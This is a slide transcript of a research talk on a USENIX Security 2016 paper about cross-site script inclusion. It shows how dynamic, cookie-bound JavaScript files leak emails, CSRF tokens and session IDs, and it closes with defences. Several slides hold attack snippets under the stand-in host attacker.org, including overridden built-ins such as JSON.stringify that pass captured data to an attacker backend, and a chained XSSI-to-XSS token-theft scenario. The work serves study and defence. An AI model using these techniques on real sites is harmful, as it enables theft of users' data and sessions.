Upgrade to Pro — share decks privately, control downloads, hide ads and more …

The Unexpected Dangers of Dynamic JavaScript Liang

The Unexpected Dangers of Dynamic JavaScript Liang

An awesome paper published in USENIX Security 2016. Presented by Liang Gong in Berkeley's group meeting.

Liang Gong

April 01, 2017
Tweet

More Decks by Liang Gong

Other Decks in Research

Transcript

  1. Presented by Liang Gong 2016 Fall The Unexpected Dangers of

    Dynamic JavaScript Liang Gong, Electric Engineering & Computer Science, University of California, Berkeley. Sebastian lekies, Ben Stock, Martin Wentzel, Martin Johns USENIX Security 2016
  2. 2 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. Overview • Technical Background: An empirical study on generalized XSSI. • Cross-Site Script Inclustion (XSSI): • JSON hijacking • JavaScript hijacking • Generalising XSSI: • Dynamic JavaScript files • Leaking sensitive data from a JS file • Evaluation: • Top 150 websites ranked by Alexa
  3. Liang Gong, Electric Engineering & Computer Science, University of California,

    Berkeley. An Attack Scenario http://attacker.org/ 3
  4. Liang Gong, Electric Engineering & Computer Science, University of California,

    Berkeley. An Attack Scenario http://attacker.org/ http://email.com/ 4
  5. Liang Gong, Electric Engineering & Computer Science, University of California,

    Berkeley. An Attack Scenario http://attacker.org/ http://email.com/ http://attacker.org/ 5
  6. Liang Gong, Electric Engineering & Computer Science, University of California,

    Berkeley. An Attack Scenario http://attacker.org/ http://email.com/ http://attacker.org/ 6
  7. Liang Gong, Electric Engineering & Computer Science, University of California,

    Berkeley. An Attack Scenario http://attacker.org/ http://email.com/ http://attacker.org/ 7
  8. Liang Gong, Electric Engineering & Computer Science, University of California,

    Berkeley. An Attack Scenario http://attacker.org/ http://email.com/ http://attacker.org/ JS 8
  9. Liang Gong, Electric Engineering & Computer Science, University of California,

    Berkeley. An Attack Scenario http://attacker.org/ http://email.com/ http://attacker.org/ JS 9
  10. Liang Gong, Electric Engineering & Computer Science, University of California,

    Berkeley. An Attack Scenario http://attacker.org/ http://email.com/ http://attacker.org/ JS 10
  11. Liang Gong, Electric Engineering & Computer Science, University of California,

    Berkeley. An Attack Scenario http://attacker.org/ http://email.com/ http://attacker.org/ JS 11 Same-Origin Policy • Restricts communication of active content to objects that share the same origin • Origin: protocol, port, and the host
  12. Liang Gong, Electric Engineering & Computer Science, University of California,

    Berkeley. JSON Hijacking (2006) http://attacker.org/ http://gmail.com/ 12
  13. Liang Gong, Electric Engineering & Computer Science, University of California,

    Berkeley. JSON Hijacking (2006) http://attacker.org/ http://gmail.com/ http://attacker.org/ 13
  14. Liang Gong, Electric Engineering & Computer Science, University of California,

    Berkeley. JSON Hijacking (2006) http://attacker.org/ http://gmail.com/ http://attacker.org/ 14 <script src="//gmail.com/contact.json" />
  15. Liang Gong, Electric Engineering & Computer Science, University of California,

    Berkeley. JSON Hijacking (2006) http://attacker.org/ http://gmail.com/ http://attacker.org/ 15 <script src="//gmail.com/contact.json" />
  16. Liang Gong, Electric Engineering & Computer Science, University of California,

    Berkeley. JSON Hijacking (2006) http://attacker.org/ http://gmail.com/ http://attacker.org/ 16 <script src="//gmail.com/contact.json" />
  17. Liang Gong, Electric Engineering & Computer Science, University of California,

    Berkeley. JSON Hijacking (2006) http://attacker.org/ http://gmail.com/ http://attacker.org/ 17 <script src="//gmail.com/contact.json" /> [ ["John Doe", "[email protected]"], ["John Doe", "[email protected]"] ]
  18. Liang Gong, Electric Engineering & Computer Science, University of California,

    Berkeley. JSON Hijacking (2006) http://attacker.org/ http://gmail.com/ http://attacker.org/ 18 <script src="//gmail.com/contact.json" /> [ ["John Doe", "[email protected]"], ["John Doe", "[email protected]"] ] function Array() { // steal data }
  19. 19 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. Cross-Site Script Inclusion • A handful of attack vectors – mostly based on browser quirks • To leak data from non-JavaScript files – JSON, CSV, etc. • Most vectors are fixed in modern browsers
  20. 20 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. Motivation • Why is there no research on JS files? • Are there JS files which contain user data? • Can such data be leaked in a similar way?
  21. 21 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. Empirical Study Are there JS files which contain user data? • Sensitive data may be bound to session • JS files may be dynamically generated based on cookies. Create a browser extension: • Monitor all scripts encountered within a session • Request each script with and without cookies • Diff the results
  22. 22 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. Empirical Study Are there JS files which contain user data? • Sensitive data may be bound to session • JS files may be dynamically generated based on cookies. Create a browser extension: • Monitor all scripts encountered within a session • Request each script with and without cookies • Diff the results
  23. 23 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. Empirical Study Create a browser extension: • Monitor all scripts encountered within a session • Request each script with and without cookies • Diff the results Registered accounts on the first 150 Alexa top sites Investigate each site: • Seed the accounts with personalized data • Thoroughly interact with the site (thru extension) • Manually analyze the dynamic JS scripts
  24. 24 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. Empirical Study Create a browser extension: • Monitor all scripts encountered within a session • Request each script with and without cookies • Diff the results Registered accounts on the first 150 Alexa top sites Investigate each site: • Seed the accounts with personalized data • Thoroughly interact with the site (thru extension) • Manually analyze the dynamic JS scripts
  25. 25 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. Empirical Study Create a browser extension: • Monitor all scripts encountered within a session • Request each script with and without cookies • Diff the results Registered accounts on the first 150 Alexa top sites Investigate each site: • Seed the accounts with personalized data • Thoroughly interact with the site (thru extension) • Manually analyze the dynamic JS scripts
  26. 26 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. State-dependent JS Scripts Scripts generated based on info in cookies • 209 scripts from 49 domains • 40 domains do not have CSRF tokens for scripts Script purpose: • User-specific data: contains email addr, preference etc. • Service bootstrapping: contains data API tokens • Cross-service data sharing: single sign-on
  27. Security Sensitive Data in Scripts 27 Liang Gong, Electric Engineering

    & Computer Science, University of California, Berkeley.
  28. Security Sensitive Data in Scripts 28 Liang Gong, Electric Engineering

    & Computer Science, University of California, Berkeley. e.g., set a variable to true for login
  29. Security Sensitive Data in Scripts 29 Liang Gong, Electric Engineering

    & Computer Science, University of California, Berkeley. e.g., set a variable to true for login Name, user id, email addr
  30. Security Sensitive Data in Scripts 30 Liang Gong, Electric Engineering

    & Computer Science, University of California, Berkeley. e.g., set a variable to true for login Name, user id, email addr birthday, location, real name
  31. Security Sensitive Data in Scripts 31 Liang Gong, Electric Engineering

    & Computer Science, University of California, Berkeley. e.g., set a variable to true for login CSRF or auth tokens Name, user id, email addr birthday, location, real name
  32. 32 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. RQ: Can such data be leaked in a similar way? http://attacker.org/ http://vuln.com/
  33. 33 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. RQ: Can such data be leaked in a similar way? http://attacker.org/ http://vuln.com/ http://attacker.org/
  34. 34 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. RQ: Can such data be leaked in a similar way? http://attacker.org/ http://vuln.com/ http://attacker.org/
  35. 35 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. RQ: Can such data be leaked in a similar way? http://attacker.org/ http://vuln.com/ http://attacker.org/ // 1. insert the script tag
  36. 36 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. RQ: Can such data be leaked in a similar way? http://attacker.org/ http://vuln.com/ http://attacker.org/ <script src="//voln.com/dynamic.js" /> // 1. insert the script tag
  37. 37 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. RQ: Can such data be leaked in a similar way? http://attacker.org/ http://vuln.com/ http://attacker.org/ <script src="//voln.com/dynamic.js" /> // 1. insert the script tag
  38. 38 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. RQ: Can such data be leaked in a similar way? http://attacker.org/ http://vuln.com/ http://attacker.org/ <script src="//voln.com/dynamic.js" /> // 1. insert the script tag
  39. 39 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. RQ: Can such data be leaked in a similar way? http://attacker.org/ http://vuln.com/ http://attacker.org/ <script src="//voln.com/dynamic.js" /> // 1. insert the script tag // 2. observe side effect
  40. 40 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. RQ: Can such data be leaked in a similar way? Leaking data stored in global variables: // local variable at top level var first_name = "John"; // variable missing the "var" keyword last_name = "Doe"; // global variable window.user_email = "[email protected]"; console.log(first_name); console.log(last_name); Console.log(user_email); dynamic.js evil.js
  41. 41 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. RQ: Can such data be leaked in a similar way? Leaking data via global functions: function example() { var email = "[email protected]"; window.MyLibrary.doSomething(email); } window.MyLibrary = {}; window.MyLibrary.doSomething = function(email) { console.log(email); } dynamic.js evil.js
  42. 42 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. RQ: Can such data be leaked in a similar way? Leaking data via built-in APIs: function example() { var email = "[email protected]"; JSON.stringify(email); } JSON.stringify = function (data) { sendToAttackerBackend(data); } dynamic.js evil.js
  43. RQ: Can such data be leaked in a similar way?

    Leaking data via built-in APIs: function example() { var email = "[email protected]"; JSON.stringify(email); } JSON.stringify = function (data) { sendToAttackerBackend(data); } dynamic.js evil.js Other APIs: ArrayBuffer, Map, Set, WeakMap, WeakSet decudeURI, decudeURIComponent, encodeURI, encodeURIComponent, escape, unescape ... 43 Liang Gong, Electric Engineering & Computer Science, University of California, Berkeley.
  44. 44 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. Prototypical Inheritance // object1  Object.prototype  null var object1 = {a: 1}; // object2  object1  Object.prototype  null var object2 = Object.create(object1); console.log(object2.a) > 1
  45. 45 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. RQ: Can such data be leaked in a similar way? Leaking data via the this reference: (function () { var secret_values = ["[email protected]", "top secret"]; secret_values.forEach(function (secret) { // do something secret here }) })(); Array.prototype.forEach = function(callback) { console.log(this); // this points to the array } dynamic.js evil.js
  46. Liang Gong, Electric Engineering & Computer Science, University of California,

    Berkeley. RQ: Can such data be leaked in a similar way? Leaking data via the this reference: (function () { var secret_values = ["[email protected]", "top secret"]; secret_values.forEach(function (secret) { // do something secret here }) })(); Array.prototype.forEach = function(callback) { console.log(this); // this points to the array } dynamic.js evil.js Other APIs: String.prototype.concat String.prototype.substring String.prototype.toString String.prototype.replace Array.prototype.join Array.prototype.map Array.prototype.forEach ... 46
  47. Empirical Study 47 Liang Gong, Electric Engineering & Computer Science,

    University of California, Berkeley. Some scripts are not exploitable because the URL contains CSRF and therefore cannot be inserted in the attack page. Dynamic scripts based on cookies CSRF or auth tokens Name, user id, email addr birthday, location, school
  48. 48 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. A Loophole Found on G+ http://attacker.org/ http://attacker.org/ <script src="//googleplus.api.com/dynamic.js" /> isLoggedIn = ... isPlusUser = ... userFirstPartyAuthV2 = ...
  49. 49 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. A Loophole Found on G+ http://attacker.org/ http://attacker.org/ <script src="//googleplus.api.com/dynamic.js" /> isLoggedIn = ... isPlusUser = ... userFirstPartyAuthV2 = ... Show some phishing link aimed at Google users.
  50. 50 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. Other Leaked Info Email address (14 domains) Phone number (1 domain) Real first name (10 domains) Calendar data (1 domain) These info can be used for: • User tracking • Personalized phishing attack • Spam email • Personalized Advertisement
  51. 51 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. Other Leaked Info Email address (14 domains) Phone number (1 domain) Real first name (10 domains) Calendar data (1 domain) These info can be used for: • User tracking • Personalized phishing attack • Spam email • Personalized Advertisement
  52. 52 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. Leaking Detailed Email Info From a email services domain: • The main page previewed the last 5 emails • Subject, sender, date and msgId
  53. 53 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. Session Hijacking on File Storage Services http://attacker.org/ http://vuln.com/ http://attacker.org/ <script src="//voln.com/dynamic.js" /> The script leaked the Username and session ID. The session ID can be used to access all files on vuln.com.
  54. 54 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. A More Interesting Attack XSSI  CSRF  XSS  Facebook post • A news site hosted a script containing the CSRF token • The CSRF token enabled us to send profile change requests • In the profile page there was a XSS • A Facebook auth token was stored inside a cookie.
  55. 55 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. XSSI  CSRF  XSS  Facebook post http://attacker.org/ http://vuln.com/ http://attacker.org/
  56. 56 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. XSSI  CSRF  XSS  Facebook post http://attacker.org/ http://vuln.com/ http://attacker.org/ <script src=“...dynamic.js" />
  57. 57 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. XSSI  CSRF  XSS  Facebook post http://attacker.org/ http://vuln.com/ http://attacker.org/ <script src=“...dynamic.js" />
  58. 58 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. XSSI  CSRF  XSS  Facebook post http://attacker.org/ http://vuln.com/ http://attacker.org/ <script src=“...dynamic.js" /> Steal vuln.com CSRF token
  59. 59 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. XSSI  CSRF  XSS  Facebook post http://attacker.org/ http://vuln.com/ http://attacker.org/ <script src=“...dynamic.js" /> Steal vuln.com CSRF token CSRF http://vuln.com/changeprofile.php?CSRF=...&info=...
  60. 60 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. XSSI  CSRF  XSS  Facebook post http://attacker.org/ http://vuln.com/ http://vuln.com/profile http://vuln.com/changeprofile.php?CSRF=...&info=... Name: John Doe Email: [email protected]
  61. 61 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. XSSI  CSRF  XSS  Facebook post http://attacker.org/ http://vuln.com/ http://vuln.com/profile http://vuln.com/changeprofile.php?CSRF=...&info=... Name: John Doe Email: [email protected] http://vuln.com/changeprofile.php?CSRF=...&info=... info=<script>JS code</script>
  62. 62 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. XSSI  CSRF  XSS  Facebook post http://attacker.org/ http://vuln.com/ http://vuln.com/profile http://vuln.com/changeprofile.php?CSRF=...&info=... Name: John Doe Email: <script>JS code</script> http://vuln.com/changeprofile.php?CSRF=...&info=... info=<script>JS code</script>
  63. 63 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. XSSI  CSRF  XSS  Facebook post http://attacker.org/ http://vuln.com/ http://vuln.com/profile Name: John Doe Email: <script>JS code</script>
  64. 64 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. XSSI  CSRF  XSS  Facebook post http://attacker.org/ http://vuln.com/ http://vuln.com/profile Name: John Doe Email: <script>JS code</script> Search for Facebook tokens on this page This site is SSO through Facebook API.
  65. 65 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. XSSI  CSRF  XSS  Facebook post http://attacker.org/ http://vuln.com/ http://vuln.com/profile Name: John Doe Email: <script>JS code</script> Got token, and interact with Facebook with the token http://facebook.com/
  66. 66 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. Empirical Study Taking over an account at a file hoster • Utilized an Ajax driven Web UI • An authentication token was required for these XHRs • The Token was provided inside a script file • Change the user’s password only requires the email (does not require the old password) • The email is leaked via script.
  67. 67 Liang Gong, Electric Engineering & Computer Science, University of

    California, Berkeley. How to prevent? Prevent the script from being included by a third-party • Solution 1: Strict referrer checking (error-prone) • Solution 2: Randomize the script’s URL for each users (include tokens) Separate JavaScript code from sensitive data: • Create static JS files and load data dynamically at run time • The data services can be protected via the SOP Or inline the script with sensitive data into the web page.